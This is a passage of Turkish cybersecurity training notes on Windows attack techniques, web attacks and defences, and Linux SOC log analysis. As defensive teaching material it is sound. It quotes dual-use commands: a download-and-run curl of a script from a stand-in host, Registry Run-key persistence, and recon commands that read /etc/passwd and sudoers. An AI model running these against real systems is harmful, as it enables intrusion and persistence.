derecede etkili teknik, kullanıcıları kendi elleriyle kötü amaçlı yazılımları çalıştırmaya ikna eder ve "insan faktörünün" siber güvenlikteki en zayıf halka olduğunun mükemmel bir örneğidir. *Eğitmen Notu: Bu tuzağa düşmemek için, Dosya Gezgini ayarlarından "Bilinen dosya türleri için uzantıları gizle" seçeneğinin işaretini kaldırmak, atılacak en basit ve en etkili adımdır.*

4. Gerçek: USB Saldırıları Sandığınızdan Çok Daha Canlı ve Tehlikeli

Birçok kişi, USB bellekler aracılığıyla yayılan virüslerin artık geçmişte kaldığını ve modasının geçtiğini düşünebilir. Ancak tehdit aktörleri bu fikre kesinlikle katılmıyor. Camaro Dragon veya Raspberry Robin gibi güncel ve sofistike saldırı grupları, bu yöntemi hala aktif olarak kullanıyor. Bu varsayımın yanlış olmasının en önemli nedeni, enfekte bir USB'nin getirdiği tehlikenin boyutudur. Kötü amaçlı bir USB bellek, bir şirketin en güçlü güvenlik duvarlarını (firewall) tamamen atlayarak doğrudan ağın kalbine sızabilir. Hatta internet bağlantısı olmayan, izole edilmiş ("air-gapped") sistemlere bile saldırı başlatabilir. Saldırganlar, kullanıcıları kandırmak için basit ama etkili numaralar kullanır; örneğin, USB içindeki tüm dosyaları gizleyip, klasör gibi görünen Photos.exe adında zararlı bir uygulama oluşturabilirler. Senaryolar ise korkutucu derecede gerçekçidir: "İK departmanından hediye" olarak gelen bir USB bellek veya ortak kullanıma açık bir baskı hizmeti bilgisayarında enfekte olan kendi belleğiniz, farkında olmadan bir saldırının taşıyıcısı olabilir.

5. Gerçek: Saldırganlar Sisteminize Girmek İçin Kendi Araçlarınızı Kullanır

Bir saldırgan bir sisteme sızdıktan sonraki ilk adımları genellikle "Ben kimim?" (whoami) ve "Neredeyim?" (ipconfig) gibi temel soruları yanıtlamaktır. Siber güvenlikte bu süreç "Keşif" (Discovery) adı verilir. Çoğu insan, saldırganların bu aşamada karmaşık ve özel yazılmış araçlar kullandığını düşünür, ancak gerçek tam tersidir. Saldırganlar, bu keşfi yapmak için her Windows makinesinde zaten bulunan yerleşik komut satırı araçlarını (whoami, ipconfig, net user, tasklist vb.) kullanırlar. Bu "araziye uyum sağlama" (Living off the Land) tekniği, adeta bir casusun düşman bölgesine sızdıktan sonra dikkat çekmemek için sadece yerel halkın kullandığı araç ve yöntemleri kullanmasına benzer. Bu durum tespiti inanılmaz derecede zorlaştırır, çünkü kötü amaçlı aktivite, meşru bir sistem yöneticisinin normal faaliyetlerinden ayırt edilemez hale gelir. Tespitteki anahtar, tek bir komutun çalıştırılması değil, bağlamdır. Örneğin, tek başına ipconfig komutu zararsızdır. Ancak mesai saatleri dışında bir kullanıcı hesabının 60 saniye içinde whoami, ipconfig /all, net user ve tasklist komutlarını art arda çalıştırması, tipik bir keşif sekansıdır. Aynı prensip, kalıcılık sağlamak için de geçerlidir. Saldırganlar, sistemde kalıcı erişim elde etmek için yine Windows'un kendi özelliklerini kullanır. Zamanlanmış Görevler (schtasks.exe) veya Başlangıç Anahtarları (reg add ...\\Run)

gibi meşru mekanizmalarla sisteme sızarlar. Özellikle Zamanlanmış Görevler, yapılandırılması ve gizlenmesi kolay olduğu için saldırganlar tarafından kullanılan **en yaygın kalıcılık yöntemidir**. *Eğitmen Notu: Normal kullanıcıların komut satırı araçlarını nadiren kullandığı varsayımı, bu tür aktivitelerin tespitinde en güçlü yardımcınızdır; anomali her zaman bir ipucu taşır.*

Sonuç

Bu yazıda ele aldığımız beş gerçek, siber güvenliğin karmaşık doğasını bir kez daha ortaya koyuyor:

1. Basit bir kolaylık olan **RDP** , devasa bir fidye yazılımı kapısına dönüşebilir.
2. Güçlü bir yönetim aracı olan **PowerShell** , saldırganlar için görünmez bir silah olabilir.
3. Kullanıcı dostu bir özellik olan **dosya uzantılarını gizleme** , en etkili sosyal mühendislik tuzağıdır.
4. Eski moda sanılan **USB saldırıları** , en modern savunmaları bile atlatabilir.
5. Saldırganlar, tespit edilmemek için karmaşık araçlar yerine **sistemin kendi yerleşik komutlarını** kullanır. Bu bilgiler, en tanıdık ve güvendiğimiz yazılımların bile beklenmedik güvenlik riskleri barındırabileceğini gösteriyor. Siber güvenlik, sadece dışarıdan gelen tehditlere karşı değil, aynı zamanda içerideki araçların nasıl kötüye kullanılabileceğini anlamakla da ilgilidir. Bu gerçekleri öğrendikten sonra, her gün kullandığınız Windows sisteminin hangi özelliğine artık daha farklı bir gözle bakacaksınız?

Web Güvenliği Saldırıları ve Savunma Mekanizmaları: Kapsamlı Bir Değerlendirme

Yönetici Özeti

Bu belge, modern web uygulamalarına yönelik temel saldırı vektörlerini ve bunlara karşı koymak için kullanılan savunma stratejilerini kapsamlı bir şekilde analiz etmektedir. Web teknolojilerinin masaüstü uygulamalarından web tabanlı hizmetlere doğru evrimi, saldırı yüzeyini önemli ölçüde genişletmiş ve web uygulamalarını saldırganlar için birincil hedef haline getirmiştir. Saldırıları temel olarak iki ana kategoriye ayrılmaktadır: kullanıcı davranışlarını ve cihazlarını hedef alan **istemci taraflı saldırılar** ve sunucu, kod veya arka uç sistemlerindeki zafiyetleri istismar eden **sunucu taraflı saldırılar**. İstemci taraflı saldırıların tespiti, sunucu tarafı araçların tarayıcı içindeki faaliyetlere dair sınırlı görünürlüğü nedeniyle zordur. Buna karşın, sunucu taraflı saldırılar genellikle sunucu günlüklerinde ve ağ trafiğinde izler bırakır. Belge ayrıca, hizmetleri erişilemez kılmayı amaçlayan **Dağıtık Hizmet Engelleme (DDoS)** saldırılarını ve saldırganlara uzaktan komut çalıştırma yetkisi veren **Web Shell** 'leri de ayrıntılı olarak ele almaktadır. DDoS saldırıları, /login veya arama formları gibi kaynak yoğun uç noktaları hedef alırken; Web Shell'ler, dosya yükleme zafiyetleri aracılığıyla hem ilk erişim hem de kalıcılık sağlamak için kullanılır. Savunma stratejileri, web hizmetini oluşturan üç temel bileşene odaklanan katmanlı bir yaklaşımı vurgulamaktadır: **Uygulama**, **Web Sunucusu** ve **Ana Makine**. Etkili savunma yöntemleri arasında güvenli kodlama pratikleri, girdi doğrulama, Web Uygulama Güvenlik Duvarları (WAF), İçerik Dağıtım Ağları (CDN), yama yönetimi ve en az yetki ilkesi bulunmaktadır. Özellikle WAF'lar, şüpheli trafiği filtrelemede ve CAPTCHA gibi meydan okuma mekanizmalarıyla bot trafiğini engellemede kritik bir rol oynarken, CDN'ler DDoS saldırılarının yükünü dağıtarak hafifletir.

Web Servislerinin Evrimi ve Güvenlik Zorlukları

1990'larda masaüstü uygulamalarının standart olduğu dönemden günümüze, teknoloji web tabanlı uygulamalara doğru kaymıştır. 2010'lardaki bulut bilişim ve Hizmet Olarak Yazılım (SaaS) patlamasıyla birlikte, günümüzde neredeyse her işlem bir tarayıcı üzerinden gerçekleştirilebilmektedir. Bu dönüşüm; erişilebilirlik, daha hızlı güncellemeler ve daha iyi uyumluluk gibi önemli avantajlar sunsa da, güvenlik açısından ciddi riskleri de beraberinde getirmiştir. Web uygulamaları sürekli erişilebilir ve dış dünyaya açık olmaları nedeniyle saldırganlar için en yaygın giriş noktalarından biri haline gelmiştir. Genellikle veritabanları gibi arka uç sistemlere bağlı olduklarından, başarılı bir saldırı büyük etkilere yol açabilir ve genellikle daha büyük bir saldırı dizisinin ilk aşamasını oluşturur.

Bir Web Servisinin Bileşenleri

Herhangi bir web hizmetinin çalışması için üç ana bileşen gereklidir:

1. **Uygulama:** Web sitesinin görünümünü ve işlevselliğini belirleyen kod, görseller, stiller ve ikonlar.
2. **Web Sunucusu:** Uygulamayı barındıran, istekleri dinleyen ve kullanıcıya bir yanıt döndüren bileşen.
3. **Ana Makine:** Web sunucusunu ve uygulamayı çalıştıran temel işletim sistemi (Linux veya Windows).

Web Saldırı Vektörleri

İstemci Taraflı Saldırıları

İstemci taraflı saldırılar, kullanıcı davranışındaki veya kullanıcının cihazındaki zayıflıkları kötüye kullanmaya dayanır. Bu saldırılar, genellikle tarayıcılardaki güvenlik açıklarından yararlanarak veya kullanıcıyı güvenli olmayan eylemler gerçekleştirmesi için kandırarak hesaplara erişim sağlamayı ve hassas bilgileri çalmayı hedefler. Dinamik web uygulamalarına yönelik artan talep, şirketlerin daha fazla üçüncü taraf eklentisi entegre etmesine neden olmakta, bu da tarayıcılardaki saldırı yüzeyini genişletmektedir.

SOC Sınırlamaları

Bir Güvenlik Operasyon Merkezi (SOC) analistinin elindeki sunucu tarafı günlükler ve ağ trafiği yakalamaları gibi araçlar, kullanıcının tarayıcısında neler olduğuna dair çok az görünürlük sunar veya hiç sunmaz. İstemci taraflı saldırılar kullanıcının sisteminde gerçekleştiği için, SOC'un görebileceği şüpheli HTTP istekleri veya ağ trafiği oluşturmadan kötü amaçlı kod çalıştırabilir, bilgi çalabilir veya ortamı manipüle edebilirler. Sonuç olarak, bu saldırıları ek tarayıcı tarafı güvenlik kontrolleri veya uç nokta izlemesi olmadan tespit etmek genellikle zordur.

Sunucu Taraflı Saldırıları

Sunucu taraflı saldırılar, bir web sunucusundaki, uygulamanın kodundaki veya bir web sitesini destekleyen arka uçtaki güvenlik açıklarını istismar etmeye odaklanır. İstemci taraflı saldırılar kullanıcıların bir siteyle etkileşimini manipüle ederken, sunucu taraflı saldırılar sistemlerin kendisinden faydalanmayı hedefler. Hataları, güvenlik açıklarını, sunucu mantığını, yanlış yapılandırmaları veya girdi işlemeyi istismar ederek saldırganlar erişim elde edebilir, bilgi çalabilir ve çalışan hizmetlere zarar verebilir.

Sunucu Taraflı Saldırıları Yakalama

Savunmacılar için sunucu taraflı saldırıların bir avantajı, doğru yere bakıldığında bir kanıt izi bırakmalarıdır. Bir uygulamaya gönderilen her web isteği sunucu tarafından işlenir ve günlüklerde veya diğer izleme sistemlerinde kaydedilir. Bu istekler aynı zamanda ağ üzerinden de seyahat eder, bu da ağ trafiğinin şüpheli davranışları ortaya çıkarabileceği anlamına gelir.

Dağıtık Hizmet Engelleme (DDoS) Saldırıları

Özünde, **Hizmet Engelleme (DoS)** saldırıları, bir web sitesini veya uygulamayı aşırı yükleyerek insanların onu kullanamaz hale getirmesini amaçlar. Bu durum, müşterilerin giriş yapmasını, alışveriş yapmasını veya hizmetlere erişmesini engelleyerek işletmelerin para ve güven kaybetmesine neden olur. Saldırıları ölçeklendirmek için saldırganlar, **Dağıtık Hizmet Engelleme (DDoS)** saldırılarına yönelir ve kontrolleri altındaki ele geçirilmiş cihazlardan oluşan bir ordu olan **botnet** 'leri kullanır. Bu botlar, hedeflenen web sitesini veya uygulamasını trafikle boğarak tek bir makinenin yapabileceğinden çok daha etkili bir şekilde aşırı yükler.

Hedef Alınan Kaynaklar

Salırganlar, bir web hizmetini kesintiye uğratmayı hedefliyorsa, istek başına en fazla sunucu kaynağını tüketen veya site işlevselliğini sürdürmek için en kritik olan uç noktalara

odaklanırlar. /login veya arama formları gibi sayfalar, her isteğin sunucuyu bir veritabanını sorgulamaya, girdiyi doğrulamaya ve sonuçları döndürmeye zorlaması nedeniyle birincil hedeflerdir.

- **/login:** Kimlik doğrulama süreçlerini içerir.
- **/search:** Karmaşık veritabanı sorguları gerektirir.
- **/api uç noktaları:** Dinamik içerik dağıtımı için kritiktir.
- **/register veya /signup:** Veritabanına yazma ve doğrulama gerektirir.
- **/cart veya /checkout:** Oturum yönetimi, envanter kontrolü ve ödeme işlemleri gerektirir.

Web Shell'ler

Web shell, hedef bir web sunucusuna yüklenen ve saldırganların uzaktan komut çalıştırmasına olanak tanıyan kötü amaçlı bir programdır. Web shell'ler genellikle hem bir ilk erişim yöntemi (dosya yükleme zafiyetleri yoluyla) hem de bir kalıcılık mekanizması olarak hizmet eder. Bir sunucuya erişim sağlandıktan sonra saldırganlar, keşif yapmak, ayrıcalıkları yükseltmek, yanal hareket etmek ve veri sızdırmak için bir web shell kullanabilir.

Web Shell Dağıtımı

Bir saldırganın bir web shell yükleyip çalıştırabilmesi için bir dosya yükleme zafiyeti, yanlış yapılandırma veya sisteme önceden erişim gereklidir. Bu zafiyetler, bir uygulamanın dosya türünü, uzantısını, içeriğini veya hedefini doğrulamada başarısız olması durumunda ortaya çıkar. Örneğin, evcil hayvan fotoğraflarını yüklemeye izin veren güvenli olmayan bir web sitesi, bir saldırganın shell.php gibi bir web shell yüklemesine ve sunucuda komut çalıştırma yetkisi elde etmesine olanak tanıyabilir.

Saldırı Tespiti ve Analizi

DDoS Göstergeleri

Gösterge,Örnek,Açıklama

Yüksek İstek Oranı,10.10.10.100 → 1000 GET /login,"/login gibi kaynak yoğun bir sayfa, kimlik doğrulama süreçlerini aşırı yüklemek için isteklerle doldurulur."

Garip User-Agent'lar,curl/7.6.88 → /index (tekrar tekrar),"Saldırganlar, filtrelemlere takılmamak veya gizlenmek için güncel olmayan veya sıra dışı User-Agent'lar kullanır. curl gibi araçlardan gelen trafik, otomatik saldırılar için bir işaret olabilir."

Coğrafi Anormallikler,Dünya geneline dağılmış IP adresi kökenleri,"Meşru trafik genellikle gerçek kullanıcıların bulunduğu birkaç bölgeden gelir. Küresel olarak dağıtılmış bir botnet, dünyanın dört bir yanından IP adresleri kullanabilir."

Ani Zaman Damgaları,1 saniyede 50 istek → /search,"Aynı saniye içine sıkıştırılmış ani bir istek artışı, otomasyona işaret eden doğal olmayan bir trafik deseni oluşturur."

Sunucu Hataları (5xx),503 Service Unavailable hatalarında önemli bir artış,"Sunucu hata yanıtlarında (500-511) ani bir artış, kaynakların tükendiğini ve hizmetin saldırı trafiği altında zorlandığını gösterir."

Mantık İstismarı,GET /products?limit=999999,"Saldırganlar, sunucuyu aşırı yükleyen ve çok büyük miktarda bilgi yüklemeye zorlayan sorgular oluşturur."

Web Shell Tespiti

Web Sunucusu Günlükleri

Web shell'ler web sunucularının kötüye kullanılmasına dayandığından, web sunucusu günlükleri kanıt aramak için doğal bir başlangıç noktasıdır. **Erişim günlükleri** genellikle şu bilgileri içerir: istemci IP adresi, istek zaman damgası, HTTP metodu, istenen kaynak, HTTP durum kodu ve User-Agent. remote log name ve authenticated user alanları genellikle eski ve nadiren kullanıldığı için tire (-) ile temsil edilir.

Dosya Sistemi Analizi

Bir saldırganın web shell'i bir yerde saklanmalıdır. Web sunucusu dosyalarını analiz etmek, yüklenmiş web shell'leri belirlemek veya bir web shell yükü içerecek şekilde değiştirilmiş dosyaları bulmak için hayati önem taşır. Ancak WordPress ve Django gibi bazı platformların sayfa içeriğini bir dosya sisteminden ziyade bir veritabanında sakladığı unutulmamalıdır, bu nedenle kötü amaçlı kod normal dosya sistemi aramalarında görünmeyebilir.

Ağ Trafiği Analizi

Ağ trafiği analizi, bir istemci ile sunucu arasında değiş tokuş edilen verileri inceleyerek analistlerin günlüklerin ötesine geçmesini sağlar. Paket yüklerini inceleyerek saldırgan davranışını daha ayrıntılı bir düzeyde gözlemlemek mümkündür. Günlük analizinde aranan göstergelerin birçoğu ağ trafiği analizine de uygulanabilir:

- Olağandışı HTTP Metotları ve İstek Desenleri
- Şüpheli User-Agent'lar ve IP Adresleri
- Kodlanmış Yükler
- İstek Gövdelerinde Kötü Amaçlı Kod veya Komutlar
- Web Sunucusu Süreçlerinin Komut Satırı Araçlarını Başlatması

Auditd

auditd, olayları izleyen ve kaydeden, bir denetim izi oluşturan yerel bir Linux yardımcı programıdır. Belirli koşullara uyan kurallar oluşturularak, belirli programlar çalıştırıldığında veya dosyalar değiştirildiğinde neyin günlüğe kaydedileceği belirlenebilir. Örneğin, ausearch -k web_shell komutu, web_shell kuralıyla eşleşen günlükleri aramak için kullanılabilir.

Savunma Stratejileri ve En İyi Uygulamalar

Katmanlı Savunma Yaklaşımı

Web hizmetlerinin üç temel bileşeni olan uygulama, web sunucusu ve ana makine için çeşitli güvenlik önlemleri mevcuttur. **Uygulamayı Koruma:**

- **Güvenli Kodlama:** Güvensiz fonksiyonlardan kaçının, hataların doğru şekilde ele alındığından emin olun ve hassas bilgileri kaldırın.
- **Girdi Doğrulama ve Temizleme:** Enjeksiyon saldırılarını önlemek için kullanıcı girdisini doğrulayın ve temizleyin.
- **Erişim Kontrolü:** Kullanıcı rollerine göre erişimi kısıtlayın. **Web Sunucusunu Koruma:**
- **Günlükleme:** Tüm web isteklerinin ayrıntılı bir kaydını tutun.
- **Web Uygulama Güvenlik Duvarı (WAF):** Tanımlanmış kurallara göre zararlı trafiği filtreleyin ve engelleyin.

- **İçerik Dağıtım Ağı (CDN):** Sunucunuza doğrudan maruz kalmayı azaltın ve entegre WAF'ları kullanın.**Ana Makineyi Koruma:**
- **En Az Yetki İlkesi:** Hizmetler için düşük ayrıcalıklı kullanıcılar kullanın.
- **Sistem Sıkılaştırma:** Gereksiz hizmetleri devre dışı bırakın ve kullanılmayan portları kapatın.
- **Antivirüs:** Bilinen kötü amaçlı yazılımları engelleyen uç nokta düzeyinde koruma ekleyin.**Tüm Bileşenler İçin Güvenlik İpuçları:**
- **Güçlü Kimlik Doğrulama:** Kodunuza, yönetici panellerinize veya ana makinenize herkesin erişmesine izin vermeyin.
- **Yama Yönetimi:** Uygulama bağımlılıklarınızın, web sunucunuzun ve ana makinenizin güncel olduğundan emin olun.

Önemli Savunma Teknolojileri

Web Uygulama Güvenlik Duvarı (WAF)

WAF'lar, gelen HTTP trafiğini inceleyen ve güvenlik kurallarına göre potansiyel olarak zararlı istekleri engelleyen veya günlüğe kaydeden güçlü bir araçtır. Farklı türleri mevcuttur:

- **Bulut tabanlı (Ters Proxy):** Dağıtımı kolaydır ve mükemmel ölçeklenebilirlik sunar.
- **Ana makine tabanlı:** Doğrudan web sunucusuna dağıtılan ve her uygulama için kontrol sunan yazılım.
- **Ağ tabanlı:** Ağ çevresine yerleştirilen fiziksel veya sanal bir cihaz.WAF'lar, şüpheli istekleri doğrudan engellemek yerine **CAPTCHA** gibi meydan okumalarla sorgulayarak isteğin gerçek bir kullanıcıdan mı yoksa bir bottan mı geldiğini doğrulayabilir. Bu, küresel web trafiğinin %37'sini oluşturan kötü amaçlı bot trafiği göz önüne alındığında son derece değerli bir yetenektir.

İçerik Dağıtım Ağı (CDN)

CDN'ler, içeriği kullanıcılara en yakın uç sunuculardan önbelleğe alıp sunarak sunucu yükünü yönetmeye yardımcı olur. Bu, gecikmeyi azaltır ve kaynak sunucunun yalnızca isteklerin bir kısmını işlemlerini sağlarken, CDN çoğunluğu sunar. Sonuç olarak, CDN'ler DDoS saldırılarını hafifletme yükünün büyük bir kısmını üstlenir. Ayrıca, trafiği sunucular arasında dağıtmak için yük dengeleme sağlarlar.

Uygulama Seviyesi DDoS Savunmaları

- **Güvenli Geliştirme Pratikleri:** Güvenli bir site, güvenli kodla başlar. Arama alanları ve formlar, kötüye kullanılmamaları için girdiyi doğrulamalıdır. Bu, "sadece 50 karakter altındaki başlıkları ara" gibi net kuralları olan bir kütüphaneciye benzetilebilir; kurallar olmadan, birisi kütüphaneciden aşırı uzun bir başlık aramasını isteyerek onu yavaşlatabilir.
- **Meydan Okumalar (Challenges):** Otomatik trafiği durdurmanın bir yolu, erişim izni vermeden önce bir meydan okuma gerektirmektir. Bu, bir kullanıcının bir bulmacayı çözdüğü bir **CAPTCHA** olabilir. Ayrıca, bir ziyaretçinin gerçek bir kullanıcı mı yoksa otomatik trafik mi olduğunu doğrulamak için arka planda sessizce çalışan **JavaScript meydan okumaları** da kullanılabilir. Bu meydan okumalar, botnet'lere karşı etkili bir filtre görevi görür.

Linux Güvenlik Tehditleri ve SOC Analizi: Bir Brifing Notu

Yönetici Özeti

Bu brifing, Linux sistemlerinin artan önemi ve buna bağlı güvenlik risklerini, Güvenlik Operasyonları Merkezi (SOC) analistleri için temel günlük (log) analizi, tehdit tespiti ve kalıcılık yöntemlerini detaylandırmaktadır. Linux, sunucularda, bulut tabanlı iş yüklerinde ve gömülü sistemlerdeki yaygınlığı nedeniyle siber saldırganlar için önemli bir hedef haline gelmiştir.

Temel çıkarımlar şunlardır:

- **Günlük (Log) Yönetiminin Farklılıkları:** Windows'un aksine, Linux olayları yapılandırılmamış düz metin dosyalarına kaydeder. `/var/log` dizini merkezi bir konum olmasına rağmen, olay kodlarının ve katı formatlama kurallarının olmaması analizi zorlaştırabilir.
- **Yetersiz Varsayılan İzleme:** Varsayılan Linux yapılandırması, proses oluşturma, dosya değişiklikleri ve ağ olayları gibi kritik "çalışma zamanı" (runtime) aktivitelerini kaydetmez. Bu boşluğu doldurmak için `auditd` gibi ek araçların kullanılması zorunludur. Bu araçlar, saldırganların atlatmasının neredeyse imkansız olduğu sistem çağrılarını (system calls) izleyerek çalışır.
- **SSH Zafiyetleri:** İnternete açık SSH servisleri, en yaygın ilk erişim vektörlerinden biridir. Saldırganlar, zayıf parolalara yönelik kaba kuvvet (brute-force) saldırıları veya çalınmış SSH özel anahtarları aracılığıyla sisteme sızar. Güvenli anahtar tabanlı kimlik doğrulama, bu riski önemli ölçüde azaltır.
- **Süreç Ağacı Analizinin Önemi:** Bir saldırının başlangıcını ve sonraki adımlarını anlamak için en evrensel ve etkili yöntem süreç ağacı analizidir. Bir SIEM uyarısı veya şüpheli bir komut gibi bir tetikleyiciden başlayarak, olayı başlatan kullanıcı veya uygulama geriye doğru izlenir.
- **Saldırı Yaşam Döngüsü:** Saldırganlar genellikle sisteme girdikten sonra Keşif (Discovery) komutları çalıştırır, `wget` veya `curl` gibi araçlarla kötü amaçlı yazılımlarını indirir (Ingress Tool Transfer), ayrıcalıklarını yükseltir (Privilege Escalation) ve son olarak sisteme kalıcı erişim sağlamak için çeşitli yöntemler kullanır (Persistence).
- **Kalıcılık Teknikleri:** Saldırganların sistemde uzun süreli erişim sağlamak için kullandığı en yaygın yöntemler arasında Cron job'ları (zamanlanmış görevler), Systemd servisleri, yeni kullanıcı hesapları oluşturma ve mevcut kullanıcıların SSH anahtarlarını arka kapı olarak kullanma yer alır.

Bu belge, SOC analistlerinin Linux ortamlarındaki tehditleri proaktif olarak avlamaları ve olaylara etkin bir şekilde müdahale etmeleri için gerekli temel bilgileri ve stratejileri sunmaktadır.

1. Linux Günlük Yönetimi ve Temelleri

Linux'un bulut bilişimin yaygınlaşmasıyla birlikte sunucu ve gömülü sistemlerdeki liderliği pekişmiştir. Bu durum, SOC analistlerinin geleneksel sunuculardan veya konteyner tabanlı bulut iş yüklerinden kaynaklanan Linux uyarılarını ve olaylarını giderek daha sık araştırmasını gerektirmektedir. Yaygın bir kanının aksine, Linux tabanlı sistemler kötü amaçlı yazılımlara karşı bağışık değildir ve Linux hedefli saldırılar artan bir sorundur.

Günlük (Log) Formatı ve Konumu

Windows'tan farklı olarak, Linux çoğu olayı düz metin dosyalarına kaydeder. Bu, günlüklerin Event Viewer gibi özel araçlara ihtiyaç duymadan herhangi bir metin düzenleyici ile okunabilmesi anlamına gelir. Ancak bu durumun bir dezavantajı, varsayılan Linux günlüklerinin daha az yapılandırılmış olmasıdır; çünkü olay kodları ve katı günlük formatlama kuralları bulunmamaktadır. Çoğu Linux günlüğü `/var/log` klasöründe bulunur.

Temel Günlük Dosyaları ve Kaynakları

Kimlik Doğrulama Günlükleri: Bir analistin izlemesi gereken ilk ve en faydalı günlük dosyası `/var/log/auth.log`'dur (RHEL tabanlı sistemlerde `/var/log/secure`). Adı yalnızca kimlik doğrulama olaylarını içerdiğini düşündürse de, bu dosya aynı zamanda kullanıcı yönetimi olaylarını, çalıştırılan `sudo` komutlarını ve daha fazlasını saklayabilir. Başarılı her oturum açma ve kapatma olayı, `session opened` veya `session closed` anahtar kelimeleriyle filtrelenerek bulunabilir.

Bash Geçmişi: Diğer bir değerli günlük kaynağı, Enter tuşuna basıldıktan sonra çalıştırılan her komutu kaydeden Bash geçmişidir. Komutlar varsayılan olarak oturum sırasında bellekte saklanır ve oturum kapatıldığında her kullanıcı için `~/.bash_history` dosyasına yazılır. Bu dosya, önceki oturumlardaki komutları incelemek için kullanılabilir.

Çalışma Zamanı (Runtime) İzlemesi ve `auditd`

"Bob bugün hangi programları başlattı?" veya "Ev dizinimi kim, ne zaman sildi?" gibi sorular, varsayılan Linux günlükleriyle güvenilir bir şekilde cevaplanamaz. Çünkü Linux, varsayılan olarak proses oluşturma, dosya değişiklikleri veya ağ bağlantıları gibi **çalışma zamanı (runtime)** olaylarını günlüğe kaydetmez.

Sistem Çağrıları (System Calls): Bu sınırlamayı aşmak için modern EDR (Endpoint Detection and Response) ve günlükleme araçları, sistem çağrılarına (system calls) güvenir. Bir dosya açmak, bir proses oluşturmak veya işletim sisteminden başka bir hizmet talep etmek gibi işlemler, belirli bir sistem çağrısı aracılığıyla yapılır. Linux'ta 300'den fazla sistem çağrısı bulunur (`execve` gibi). Saldırganların sistem çağrılarını atlatmasının neredeyse hiçbir yolu olmadığı için, bu çağrıları izlemek, sistemdeki aktiviteleri tespit etmenin en güvenilir yoludur.

auditd Kullanımı: `auditd`, Linux'ta sistem çağrılarını izlemek için kullanılan standart bir araçtır. Oluşturulan günlükler `/var/log/audit/audit.log` dosyasında gerçek zamanlı olarak görülebilir, ancak `ausearch` komutu çıktıyı daha okunabilir bir formatta sunduğu ve filtreleme seçenekleri desteklediği için analiz için daha kullanışlıdır.

2. İlk Erişim (Initial Access) Teknikleri ve Tespiti

Saldırganların bir Linux sistemine sızmak için kullandığı çeşitli yöntemler bulunmaktadır. Bunların en başında, genellikle zayıf bir şekilde korunan SSH servisleri gelir.

SSH Üzerinden Erişim

SSH (Secure Shell), dünya çapında BT ekipleri tarafından kullanılan yaygın bir uzaktan erişim hizmetidir. İnternete açık Linux makinelerinin neredeyse tamamında SSH etkindir; Shodan verilerine göre 2025'te 40 milyondan fazla makinede SSH bulunmaktadır.

Riskler ve Yöntemler: SSH, MITRE ATT&CK çerçevesinde "Harici Uzak Hizmetler" tekniği altında izlenir ve saldırganlar genellikle iki ana yolla erişim sağlar:

1. Çalınan Anahtar (Key-based Authentication):

- Saldırganlar, özel SSH anahtarlarının saklandığı bir kaynak kod deposuna (örn. GitHub) veya otomasyon sunucusuna (örn. Ansible) erişir.
- Bir yöneticinin dizüstü bilgisayarına veri hırsızlığıyla bir yazılım bulaştırarak SSH anahtarlarını çalar.

2. Ele Geçirilen Parola (Password-based Authentication):

- Bir yönetici test amaçlı zayıf bir SSH parolası belirler ve bunu değiştirmeyi unuttur.
- Bir yüklenici için geçici olarak etkinleştirilen SSH hesabına "12345678" gibi zayıf bir parola atanır.
- Eski ve güvensiz bir SSH sunucusu yanlışlıkla internete açılır.

Kimlik Doğrulama Türü	Mantık	Açıklama
Parola Tabanlı	"Ben şifreyi bilen kişiyim."	Kullanıcı, sunucuya parolasını gönderir. Sunucu, kendi elindeki hash ile karşılaştırarak doğruluğunu kontrol eder.
Anahtar Tabanlı	"Ben bu anahtara sahip olan kişiyim."	Kullanıcının genel anahtarı (kilit) sunucuda, özel anahtarı (anahtar) ise kendisindedir. Sunucu, kullanıcının özel anahtarıyla çözmesi gereken şifreli bir mesaj gönderir. Kullanıcı anahtarını veya parolasını asla sunucuya göndermez.

SSH Saldırılarının Tespiti: Linux'ta SSH saldırılarını tespit etmek, tüm başarılı SSH girişlerini listelemek ve birkaç temel alanı analiz etmek kadar basit olabilir. Kimlik doğrulama günlükleri bu süreç için başlangıç noktasıdır.

İnsan Odaklı Saldırıları ve Tedarik Zinciri İhlalleri

Linux öncelikle teknik personel tarafından yönetilen bir sunucu işletim sistemi olduğu için, kullanıcıları oltalama (phishing) veya kötü amaçlı USB takmaları için kandırmak Windows ortamlarına göre daha zordur. Ancak riskler devam etmektedir.

Senaryo Örneği	Sonuçlar
Bir BT çalışanı, bir sorunu çözmek için forumda bulduğu <code>curl https://shadyforum.thm/fix.sh bash</code> komutunu çalıştırır.	Komut dosyasının içeriği kontrol edilmediği için, sunucuya gizlice kötü amaçlı bir yazılım bulaşır.
Bir geliştirici, sunucuya "fastapi" paketini kurmak isterken <code>pip3 install fastpi</code> yazarak bir harf hatası yapar.	Harf hatası yapılan paket, tehdit aktörleri tarafından kasıtlı olarak hazırlanmış kötü amaçlı bir yazılımdır (Gerçek bir vaka).

Tedarik Zinciri İhlalleri (Supply Chain Compromise): Bu saldırı türünde, önce bir yazılımın kendisi ele geçirilir ve ardından kötü amaçlı güncelleme aracılığıyla tüm kullanıcılarına bulaşır. XZ Utils kütüphanesindeki bir arka kapı veya tj-actions ihlali sonucu binlerce SSH anahtarının sızdırılması gibi örnekler, bu tehdidin ciddiyetini göstermektedir.

Evrensel Tespit Yöntemi: Süreç Ağacı Analizi

Uygulama günlükleri her zaman mevcut veya yardımcı olmayabilir. Bu nedenle, çoğu SOC ekibi **süreç ağacı analizine** güvenir. Bu evrensel yaklaşım, bir SIEM uyarısı veya şüpheli bir komut gibi bir tetikleyiciden başlayarak, olayı başlatan kök süreci (bir web sunucusu, bir SSH oturumu vb.) bulmayı ve aktivitenin meşru olup olmadığını belirlemeyi amaçlar.

3. Saldırı Sonrası Aktiviteler ve Tespiti

Saldırganlar bir sisteme ilk erişimi sağladıktan sonra, hedeflerine ulaşmak için bir dizi eylem gerçekleştirirler.

Keşif (Discovery)

Saldırganlar bir sisteme ilk girdiklerinde genellikle nerede olduklarını ve sistemin neye benzediğini anlamak için keşif komutları çalıştırırlar. Bu adım, yalnızca saldırganlar hedeflerini önceden bildiğinde veya amaçları sadece bir kripto madenci kurup çıkmak olduğunda atlanır.

Keşif Amacı	Tipik Komutlar
İşletim Sistemi ve Dosya Sistemi	<code>pwd, ls /, env, uname -a, lsb_release -a, hostname</code>
Kullanıcı ve Gruplar	<code>id, whoami, w, last, cat /etc/sudoers, cat /etc/passwd</code>
Proses ve Ağ	<code>ps aux, top, ip a, ip r, arp -a, ss -tnlp, netstat -tnlp</code>
Bulut veya Sanal Ortam	<code>systemd-detect-virt, lsmode, uptime, pgrep "<edr-or-sandbox>"</code>

